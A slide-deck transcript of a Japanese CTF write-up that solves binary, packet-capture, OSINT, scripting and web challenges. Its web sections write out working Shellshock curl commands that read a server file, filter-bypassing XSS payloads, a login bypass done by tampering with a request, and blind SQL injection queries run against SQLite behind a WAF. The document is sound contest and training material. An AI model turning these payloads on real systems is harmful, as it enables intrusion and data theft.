SlideShare a Scribd company logo
実施期間:2015-11-16 20:00:00~2016-02-07 13:00:00
write-up
自己紹介
【ID】kazkiti
【CTF歴】半年ぐらい
【職業】Webアプリ、スマホアプリ、サーバの脆弱性診断 etc...
【今回の結果】11位/全536人中。5516点。
       GIFアニメ生成サイト初倒し。
       芸術全完を初倒し(笑)、将棋詰め弐を初倒し(笑)
       なんかよくわからないところで初倒ししてる。
      書道経験有、将棋四段だからかも。
0
解けた問題の中からwrite-upをかいたもの(1/2) 1
解けた問題の中からwrite-upをかいたもの(2/2) 2
二進術100 壱萬回
二進術100 壱萬回
まずは、
# file 121-calculation
⇒121-calculation: ELF 64-bit LSB executable, x86-64, vers
ion 1 (SYSV), dynamically linked, interpreter /lib64/ld-li
nux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=927f4
6b50ed035c6d2b7194b1bea88a88a4fbbd4, not stripped
# strings 121-calculation
⇒showFlagというものがあり、関数名っぽい。
逆アセンブルして静的解析してみます。
# objdump -D 121-calculation
showFlagの箇所を確認した。
464c41475f356333336131623838363065343764613836343731346530
34326531336631650a
↓ASCIIコードをデコードする。
FLAG_5c33a1b8860e47da864714e042e13f1e
1
電網術333 六十秒
電網術333 六十秒
【考えたこと】
1.目的
 隠された暗号文を探す
2.ファイルの確認
 pcapファイル。NTPとICMP。
 ヒントは:昼九つ半
3.アプローチ方法
 ざっと確認してわからなければ、あまり目にすることのなかった
 NTPの正常系のキャプチャを作って比較することにする。
※この問題はエスパー問題との声もありましたが、論理的思考で解けるよう
な気がします。
【問題】隠された暗号文を探す
1
電網術333 六十秒 2
1.ざっとみる
まずは、論理的思考ではなく直感で、下記を考えました。
「No9のICMPのDestination:133.243.238.244なので、
 Destination:133.243.238.244のNo7のNTPに暗号文が
 隠れていて、他はダミーではないか。」
ざっと見ましたが、何か怪しそうな文字が最後についてる?って
ぐらいでした。また怪しい文字があるにしてもどの範囲を確認す
ればよいのかわかりませんでした。
電網術333 六十秒 3
論理的に考えていきます。まずNTPの正常系パケットを確認しました。
linuxで下記コマンドを実行(IPアドレスは適当)
#ntpdate 10.0.0.1
差分箇所はここのようです。これらをすべて抽出していきます。
正常系のNTP問題のNTP
電網術333 六十秒 4
1.差分箇所を全て抽出
 No.3:nznmba.pb.wc
 No.5:xlbgbh.np.wc
 No.7:ehyref
 No.9:B00OWA6QNOZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9
 ※No4,6,8,10の重複文字は除きました。
2.ヒントも解明しておきましょう。
 昼九つ半→13時というのがわかります。13時に送信しているパケットは
 ないので、13の意味は違う意味のようです。この13の意味を考えます。
 暗号化で13とくれば、シーザ暗号が思いつきます。
 また、No3,5はドットからドメイン名のような気がします。
3.シーザ暗号による復号
 No.3:AMAZON.CO.JP
 No.5:KYOTOU.AC.JP
 No.7:RULERS
 No.9:O55BJN2DABMZKUMM63ZGWULKEMQGR5GZYWNTYON7S5P8IENGQHP8I5
 ⇒No9以外は成功しました。
電網術333 六十秒 5
 No.9:B00OWA6QNOZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9
 No.9:O55BJN2DABMZKUMM63ZGWULKEMQGR5GZYWNTYON7S5P8IENGQHP8I5
とりあえず、amazonで京大の素数ものさしを確認してみます。
ここに何かヒントがあるはずです。
また、使っていない情報はNo9の文字列のみです。このサイトを見なが
ら、No9の文字列を比較していると同じ文字列があるのがわかります。
電網術333 六十秒 6
B00OWA6QNOが見つかった時点で、No.9の文字列はシーザ暗号で復号してはいけないことがわか
ります。
No.9:B00OWA6QNOZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9
ここまでは、下図のように論理的思考で辿り着けることがわかります。
あと使ってないヒントは問題名の「六十秒」ぐらいですが、よくわかりません。
文字列がBase64っぽいので、とりあえずやってみる価値はあります。
ZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9
↓Base64で復号する。
flag={12Gatsu14NichiAkatsuki7Tsu}
【感想】論理的思考を問う問題だと思いました。エスパー問題ではないような気がしました。
正常NTP 問題のNTP 正常ICMP 問題のICMP
No.3:nznmba.pb.wc
No.5:xlbgbh.np.wc
No.7:ehyref
六十秒
No.9:B00OWA6QNOZmxhZz17MTJHY
XRzdTE0TmljaGlBa2F0c3VraTdUc3V9
No.3:AMAZON.CO.JP
No.5:KYOTOU.AC.JP
No.7:RULERS
シーザ暗号
B00OWA6QNO
ZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9
差分抽出 13時
昼九つ半
諜報術100 タナカハック
諜報術100 タナカハック
途中でヒント、tanakazakku.comにあるということだったので、wgetを実行しまし
た。このサイトのリンクは、www.tanakazakku.comとwww.yamatosecurity.comで相互
にリンクされていることに注意して、下記コマンドを実行する。
# wget -rH -linf -p -D www.tanakazakku.com www.yamatosecurity.com|grep ta*
抽出したファイルを順に確認していく。
そこで、networkforensics1.pdfファイルのプロパティを確認する。
フラグは、tanakazakkarini123
1
記述術100 解凍?
記述術100 解凍? 1
【考えたこと】
1.目的
 解凍する?ONION?
2.状況把握(動かしてみる)、
 手動で解凍してみます。また別圧縮形式のファイルが現れます。
 連続解凍するプログラミングをコーディングするのが問題のようです。
3.アプローチ方法
 pythonだとimportするものが圧縮形式毎に必要らしく面倒なので、
 シェルプログラミングでコーディングすることにしました。
【問題】解凍?
記述術100 解凍? 2
とりあえず手動で何個かゴリゴリ解凍して、下記コードを作成&実行。
#!/bin/sh
while true
do
h=`ls flag* | wc -w`
if ${h} -gt 2 ; then
rm -f 'flag.txt'
fi
f=`ls flag*`
echo $f
if [ ${f} != 'flag.txt' ]; then
mv ${f} 'flag.txt'
fi
f=`ls flag*`
VAR=`file ${f}`
echo ${VAR}
if echo ${VAR} | grep 'bzip2' ; then
echo 'bzip2'
bzip2 -df ${f}
elif echo ${VAR} | grep 'gzip' ; then
echo 'gzip'
gunzip -fS .txt ${f}
elif echo ${VAR} | grep 'Zip' ; then
echo 'Zip'
unzip -o ${f}
elif echo ${VAR} | grep 'tar' ; then
echo 'tar'
tar xvf ${f}
else
exit
fi
done
flag={6aKuZrEqxvBZUIqBOXgMclLwpQCo8OXi}
記述術300 Make sorted Amida kuji!!
記述術300 Make sorted Amida kuji!! 1
【考えたこと】
1.目的
 あみだくじ。条件を満たすパターンを全通り列挙する。
2.状況把握(動かしてみる)、
 スタート時点で、数字の順番は固定されていて、
 あみだくじの結果、左から0,1,2,3と順に並べればよい。
 1問目は手でやってクリアすると、下記が表示される。
State:Challenge the next stage! Go to http://210.146.64.36:30840/amidakuji
/?FLAG=uquqeteqeteququq
 2問目は,62通りから素因数分解すると2×31なので、空間が2箇所あり、
 片方が2通り、もう片方が31通りで62通りになっていると推察。
  ※結果的に、この考え方を使う必要がない問題だった。
 数が多いのでプログラミングする。
 初期配置   :9 8 6 5 7 3 2 1 0 4
 ゴール :0 1 2 3 4 5 6 7 8 9
3.2問目のアプローチ方法
 これが決まればコーディングするだけなので、
 この問題は、アプローチ方法(アルゴリズム)を決めることが問題。
【問題】あみだくじ
記述術300 Make sorted Amida kuji!! 2
線を引ける縦の段数を確認すると
0~9の10段。
次に差を考える。
 初期配置 :9 8 6 5 7 3 2 1 0 4
 ゴール :0 1 2 3 4 5 6 7 8 9
 差 :9 7 4 2 3-2-4-6-8-5
例えば、9は残り9段残っていないとゴール
できないことになる。他に0も残り8段必要
で厳しい条件である。
以上より、総当たりして、現配置とゴール
の差を更新しながらゴールできない条件で
枝刈りしていく方法でアプローチすれば、
時間はそれほどかからないと推測できる。
(参考)
 逆に、下記のような場合は、
 総当たりするアプローチは計算時間が
 かかることを覚悟する必要がある。
 初期配置 :0 1 2 3 4 5 6 7 8 9
 ゴール :0 1 2 3 4 5 6 7 8 9
 差 :0 0 0 0 0 0 0 0 0 0
①
②
③
④
⑤
⑥
⑦
⑧
⑨
⑩
記述術300 Make sorted Amida kuji!! 3
アルゴリズムは、ゲーム理論におけるゲーム木のアルゴリズムをベースに
コーディングしていくことにした。
有
有 有 無無
無
10段×9個=90
有 有 無無 有 有 無無
【高速化のためのアルゴリズム】
1.枝刈り条件
 ・差[9,7,4,2,3,-2,-4,-6,-8,-5]を都度計算し、
  残り段数より大きければ以降は枝刈りする。
 ・同じ段数で隣り合う箇所には線を引けないので枝刈りする。
2.hash関数に、状態と結果を保存しておき再利用する。
   ※今回はこっちを利用しなくても十分だった。
線を引くか引かないかで
有/無としている
(0,0)
(0,1)
(0,2)
・
・
・
記述術300 Make sorted Amida kuji!! 4
実際のコーディングは再帰構造を利用する。pythonでコーディングした。
下図のように解答をそのままコピーできるように、DoS画面上に出力した。
Pythonコードを実行すると全62通り抽出するのに5分程度で完了した。
結果をコピーし、入力画面に62回入力していくと、下記のflagを得ることがで
きる。
State:Flag Get!!Congratulations! flag={021qsyrsuq2020dtsqpq02020zqkiq
202020b+tq9202020m_q382020201q34620202qq8b6220202qk+h0l2020qesrqypq02
q}
超文章転送術100 Network Tools
超文章転送術100 Network Tools
【考えたこと】
1.目的
 サイトのセキュリティの問題を探す
2.機能の把握(動かしてみる)
 コマンドが実行できる。
 Aboutにヒントがあるようだ。
 Adminへメッセージが送れる(XSSからのセッションハイジャック?)
 
3.アプローチ
 AboutにNOTE: DON'T FORGET TO FIND OUT THE HIDDEN MESSAGE HERE!
 と記載されているのでここを起点にする。
  ※直感のXSSを起点にすると、遠回りになると判断しました。
【問題】サイトのセキュリティの問題を探す
1
超文章転送術100 Network Tools
Aboutでざっと見ると、変な箇所が大文字になっているのがわかるので、大文
字のみ抽出すると、SHELL SHOCKと読める。これで脆弱性は判明。
SHELL SHOCKの脆弱性の詳細を調べて理解する。
2
 User-Agentヘッダ
 Hostヘッダ
 Refererヘッダ 環境変数に
書き込まれる
サイトがcgiで
動いている
そのcgiでsystem()な
どBashを呼ぶ関数が
存在する
任意の
OSコマンドを
実行可能
YY
最後のOSコマンドが実行されるかどうかの条件は、言語(python、Ruby、perl
など)によって異なるらしい。また、cgi実行時のユーザ(通常はApacheユーザ
など)であれば、ifconfigなど、sudoが必要なコマンドは実行できないと思わ
れる。今回は、最低でもCommand Listにあるものはcgiから実行が保証されて
いるのがわかる。
どれでもいいので、コマンドを実行するリクエストを1つ選び、User-Agent
ヘッダに、最小の関数 () { :;}; に続けて、任意のコマンド/bin/lsを挿
入する。
# curl -A "() { :;}; /bin/ls" -X POST -d "cmd=ifconfig&option=" http:
//210.146.64.37:60888/exec
超文章転送術100 Network Tools
下記が、実行結果で返ってくる。
 flag.txt<br />
 logs<br />
 logs.py<br />
 myapp.cgi<br />
 nwtools.py<br />
 static<br />
 templates<br />
flag.txtを読み込むため、下記のリクエストを送信する。
# curl -A "() { :;}; /bin/cat /var/www/cgi-bin/flag.txt" -X POST -d "
cmd=ifconfig&option=" http://210.146.64.37:60888/exec
実行結果として、下記のflagを取得できる。
flag={Update bash to the latest version!}
【感想】SHELLSHOCKには、パッチをあてられた後にさらに脆弱性が見つかっ
たらしく、どの段階のSHELLSHOCKなのかと思いながら、とりあえず初期の攻
撃を試したら攻撃に成功しました。途中からBashのバージョンが記載された
のはそのためなのかなと思いました。
3
超文章転送術100 箱庭XSS
超文章転送術100 箱庭XSS2
■箱庭XSS
【挙動の把握】小文字が大文字に変換される。
 まず、alert()は、ALERT()だと実行されないので変換されないようにすればよい。
 ※実験すればわかる。実験重要!!
数値文字参照で迂回することにする。
<img src=x onmouseover=javascript:alert(1)>を一部、数値文字参照に変更する。
<IMG SRC=X
ONMOUSEOVER="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;
&#x6c;&#x65;&#x72;&#x74;&#x28;&#x29;">
⇒onmouseoverで発動せずに嵌る。。。
下記のように、onerrorにするとFLAGが出た。
<IMG SRC=X
ONERROR="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6
c;&#x65;&#x72;&#x74;&#x28;&#x29;">
※onerrorで発動してonmouseoverで発動しなかったのはよくわからなかった
FLAG is 2ztJcvm2h52WGvZxF98bcpWv
■箱庭XSS2
【挙動の把握】alert文字列が削除される
同様に、数値文字参照で迂回するとFLAGがでた。
<IMG SRC=X
ONERROR="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6
c;&#x65;&#x72;&#x74;&#x28;&#x29;">
FLAG is n2SCCerG4J9kDkHqvHJNhwr4
超文章転送術100 箱庭XSS、箱庭XSS2 1
超文章転送術200 YamaToDo
超文章転送術200 YamaToDo
【考えたこと】
1.目的
 yamatoのToDoを奪う
2.機能の把握(動かしてみる)
 ログインすると自分のノートが見れる&書き込めるもの。
3.アプローチの候補
 ①yamatoのセッションを奪う
 ②データベースから直接奪う(SQLインジェクション)
 ③サーバに侵入する(OSコマンドインジェクションなど)
  ※XSSはない。理由は、adminもしくはyamatoに
   連絡を取る手段がないので、XSSからフィッシングして
   セッションIDを盗むことはできないから。
  ※また、上記①~③は、目的を果たすために楽な順番だと思ったので
   その順に検討していくことにした。
【問題】yamatoのToDoを奪う
1
超文章転送術200 YamaToDo
①セッションを奪えるか!?
なぜかbreak2;じゃない!(switchのみ抜ける)
user_idを元にSESSIONを得られる。
(passwordなしに認証迂回が可能)
【結論】user_idをyamatoにして、actionパラメータをloginと  
    register以外のものに改竄すればセッション奪取可能
2つの多重ループ
(switchとwhile)を抜ける
2つの多重ループ
(switchとwhile)を抜ける
2
超文章転送術200 YamaToDo
操作してみる。
YamaToDoにアクセスして、IDにyamato、passwordに適当なものを入れて、
localproxy(私はBurpsuite)でInterceptしておいて、loginを押下する。
yamatoを入力
適当なものを入力
3
超文章転送術200 YamaToDo
BurtSuiteで通信をInterceptしてリクエストを改竄すればいいのだが、
サーバへのアクセスはBasic認証なので、Authorizationヘッダが付与されている状態に
なるまでforword押下して流す。
Authorizationヘッダが付与されていることが確認できたら、
actionパラメータを適当な値(例ではaaaaaa)に改竄し、Intercept を解除する。
①Basic認証のヘッダがあることを確認する。
②loginやregister以外の値に改竄する。
③Interceptを解除する。
4
超文章転送術200 YamaToDo
これにより、yamatoとしてログインすることに成功した。
時刻0000-00-00 00:00:00に書き込まれた
ものなので、これがflagと思われる。
文字化けしているので、
適切な文字エンコードに変更すればよい。
5
超文章転送術200 YamaToDo
ここで、URLのクエリーパラメータieに文字コードを入力してエンコードしない方が賢明。
下記のように、ブラウザ側でエンコードを自由に変更すれば、プログラム内のフィルター(仮に
正解がsjisだったら解けない)に引っかからずに文字エンコードを自由に選べるし、エンコード
一覧を調べる手間もはぶける。今回は、日本語を順に選択する。(例えば「日本語ECU」を選択)
※日本語を優先した理由は、仮に、キリル語が正解だとして、正確に表示されたとしても、
 そもそも読めない!だからほぼ日本語は確定かなと思った。
6
超文章転送術200 YamaToDo
以上で、flagをゲットできる。下記を半角でサブミットすればよい。
flag={r3m3Mb3r_5c_pr0bL3m}
7
超文章転送術300 YamaToo
超文章転送術300 YamaToo
【考えたこと】
1.目的
 検索エンジンの機密情報を奪う
2.機能の把握(動かしてみる)とファイルの確認
 検索エンジン。schema.sqlを見るとflagテーブルがある。
 機密情報はflagテーブルにあると思われる。
 ソースからflagテーブルにアクセスしている箇所はない。
 何のSQLインジェクションを使うかを問う問題と思われる。
3.アプローチの候補
 SQLインジェクションでflagテーブルにアクセスする。
 ①普通のSQLインジェクション
 ②複文を使う。
 ③UNIONを使う。
 ④ブラインドSQLインジェクション
 ⑤エラーベースSQLインジェクション(未経験なので最後)
  ※また、上記①~⑤は、目的を果たすために楽な順番だと思ったので
   その順に検討していくことにした。
【問題】検索エンジンの機密情報を奪う
1
超文章転送術300 YamaToo
①普通のSQLインジェクションは可能か?
2
WAF
$keywordの長さは2以上は確実なので、SQL文はこちらのみ確認
ngram()で、「abcdefg」→「ab bc cd de ef fg」と
2文字ずつ分割される
$wordは、文字が分割されるのでインジェクション不可
この箇所はエラーなく通すことを考える ★ポイント★
(どうすればよいかは次ページ)
LIKE句をインジェクション
することになる。
 【結論】Like句をインジェクションできそう。
     普通のSQLインジェクションは無理そうなので、
     他のSQLインジェクションを考えることにする。
超文章転送術300 YamaToo 3
 【結論】入力時に、シングルクウォート3個連続させた枠内に、
     条件がfalseになるように%を使い切り、OR連結させれば
     Like句でSQLインジェクションできそう。
(参考)後ろのLike句にインジェクションするには?
この部分は、
単なる文字列と認識させて、
後ろのLike句に繋げたい。
この部分で、インジェクションしたい。
''は、文字のシングルクウォートと認識される。
これを利用して、
ngram()で変換後にシングルクウォートを偶数にすればよい。
つまり、入力時に、
・シングルクウォートを2個以上連続させる
・シングルクウォートの後に文字を入れない。
・最後に-- などでSQL文を終わらせない。
・入力時に連続するシングルクウォートを
 奇数個にする。
・最後の%をエラーを出さずに使い切る。
「''' SQLインジェクションする文字列 OR title = '''」
双方の条件を満たすためには...
WAFでUNIONは防がれる。
超文章転送術300 YamaToo
②複文を使えるか?
 今回の構成は、PHP+PDO+SQLite
【検索する】
 ・PHP+PDO+MySQLだったら複文可能
 (参考)http://blog.tokumaru.org/2013/12/pdo-and-mysql-allow-multiple-statements.html
 ・PHP+sqlite_query()+SQLiteだったら更新系は複文可能
  (参考)http://d.hatena.ne.jp/ockeghem/20081112/p1
  →今回の条件の場合の記事がみあたらなかった。とりあえず更新系で
   いろいろ試してみたが、DBの更新権限がないからなのかできなかった。
 【結論】今回は複文は使えなさそう。
③UNIONを使えるか?
【コードを確認する】
 【結論】WAFに引っかかるので使えない。
4
超文章転送術300 YamaToo
④ブラインドSQLインジェクションは可能か?
5
下記のように、trueとfalseの2パターン試してみる。
''' OR 1 OR title = '''を入力 ''' OR 0 OR title = '''を入力
【結論】ブラインドSQLインジェクション可能
異なる結果
超文章転送術300 YamaToo 6
(続き)
ブラインドSQLインジェクションが可能なのがわかったので、次にflagの長さを確認する。
先にLike句にインジェクションするためのクエリを結合する演算子を考えるとOR EXISTS()でい
けそう。下記のように、数字の箇所を1から増やしていく。
''' OR EXISTS (SELECT * FROM flag where length(flag)=1) OR title = '''
''' OR EXISTS (SELECT * FROM flag where length(flag)=2) OR title = '''
                      ・
                      ・
                      ・
''' OR EXISTS (SELECT * FROM flag where length(flag)=59) OR title = '''
これで、59文字であることがわかる。
超文章転送術300 YamaToo 7
(続き)使える関数の洗い出し
次に、文字列操作できる関数を確認する。※ここからローカル環境を作って実験した。
×substrはWAF
×sleepはWAF
×LIKEはWAF
○HEX
 ''' OR EXISTS (SELECT * FROM flag where HEX(flag)>0x66) OR title = '''
 ⇒0x66はf。これでエラー出ないことを確認。
 ''' OR EXISTS (SELECT * FROM flag where HEX(flag)>0x6666666666666666) OR title = '''
 ⇒とりあえず何文字可能か確かめてみる。まだ大丈夫。
 ''' OR EXISTS (SELECT * FROM flag where HEX(flag)>0x66666666666666666) OR title = '''
 ⇒Fatal error: Uncaught exception 'Exception' with message 'hex literal too big: 0x6666666666
6666666' in /var/www/html/index.php:67 Stack trace: #0 {main} thrown in /var/www/html/index.php
on line 67
 文字数の限界でエラー!8文字までしか無理!
×ASCII()一番左にあるアスキーコードを返す。関数は存在しない。
 ''' OR EXISTS (SELECT * FROM flag where ascii(flag)=0x66) OR title = '''
 ⇒Fatal error: Uncaught exception 'Exception' with message 'no such function: ascii' in /var/
www/html/index.php:67 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 67
×locate()の関数は存在しない。
  ''' OR EXISTS (SELECT flag FROM flag where locate(flag,char(70),1)) OR title = '''
×midは存在しない。
×instrはWAF。指定文字の位置がわかる。
×grobはWAF
×transirateは存在しない。
○trim指定文字列を取り除く。lengthと併用すれば特定の文字の数はわかる。おしい。
◎ltrim、rtrim。一番左/右に指定した文字列がある場合は削除する。※複数ある場合は複数削除される。
 ⇒length(ltrim(flag,'f'))でいけそう。59文字分やらないといけないけど。
超文章転送術300 YamaToo 8
(続き)ltrim/rtrimによるブラインドSQLインジェクション詳細手順
▼ltrimで一番左の文字fがあれば取り除く
''' OR EXISTS (SELECT * FROM flag where length(ltrim(flag,char(0x20)))=59) OR title = '''
⇒結果が表示されない。
''' OR EXISTS (SELECT * FROM flag where length(ltrim(flag,char(0x66)))=58) OR title = '''
⇒結果が表示される。fで確定★
▼
''' OR EXISTS (SELECT * FROM flag where length(ltrim(ltrim(flag,char(0x66)),char(0x20)))=58) OR
title = '''
⇒結果が表示されない。
''' OR EXISTS (SELECT * FROM flag where length(ltrim(ltrim(flag,char(0x66)),char(0x6c)))=57) OR
title = '''
⇒結果が表示される。lで確定★
▼
''' OR EXISTS (SELECT * FROM flag where length(ltrim(ltrim(ltrim(flag,char(0x66)),char(0x6c)),c
har(0x20)))=57) OR title = '''
⇒結果が表示されない。
''' OR EXISTS (SELECT * FROM flag where length(ltrim(ltrim(ltrim(flag,char(0x66)),char(0x6c)),c
har(0x61)))=56) OR title = '''
⇒結果が表示される。aで確定★
▼以下、面倒なのでpythonでスクリプトを書く。
Content-Length: 2367
Content-Length: 1087
 ⇒length>2000かどうかで自動判定すればいける。
▼24文字目で、文字列が長すぎてSQLiteでエラーがでる。><
とりあえず、左からltrim()、右からrtrim()で、左右から24文字×2=48文字抽出完了。
flag={3rR0r_b453d_5Ql_1n???????????1Mp0r74n7_d0_n07_F0r637}
超文章転送術300 YamaToo 9
(続き)全59文字なので、中央にある11文字分を調べるためにSQL文の文字列を短くすればよい。
▼文字を短くする。REPLACE()を使って見つけた文字列を連結して0に変換する(笑)
SQLiteの文字連結はconnect()じゃなく、||で可能。わかった文字列箇所は下記のようにおきかえる。
Before
 ltrim(flag,char(0x66)) 22文字
  ↓+18文字増加
 ltrim(ltrim(flag,char(0x66)),char(0x6c)) 40文字
After
 REPLACE(flag,char(102),0)  25文字
  ↓+11文字増加
 REPLACE(flag,char(102)||char(108),0) 36文字
⇒こうすることで、わかった文字列を0に変換する処理をして、SQL文を18文字増から11文字増に減らせる。
※もっと最適化することは可能だと思います。
▼この処理をpythonに組み込んで、下記のflagをゲットできる。
flag={3rR0r_b453d_5Ql_1nj3c710N_50_1Mp0r74n7_d0_n07_F0r637}
感想:もうちょっとFLAGの文字列が長かったらこの方法ではできなかった。
   これを機会に、エラーベースSQLインジェクションを習得しようと思いました。  

More Related Content

PPT
技術勉強会(楕円曲線暗号)資料
PDF
とある診断員とSQLインジェクション
PDF
セキュリティを楽しむ(CTFとbugbountyの始め方)
PDF
CVE、JVN番号の取得経験者になろう!
PDF
20200811 電気代削減
PDF
How to strengthen the ctf web field for beginners(English)
PDF
初心者向けCTFのWeb分野の強化法
PDF
2024 Trend Updates: What Really Works In SEO & Content Marketing
技術勉強会(楕円曲線暗号)資料
とある診断員とSQLインジェクション
セキュリティを楽しむ(CTFとbugbountyの始め方)
CVE、JVN番号の取得経験者になろう!
20200811 電気代削減
How to strengthen the ctf web field for beginners(English)
初心者向けCTFのWeb分野の強化法
2024 Trend Updates: What Really Works In SEO & Content Marketing
Ad

BurningCTF write-up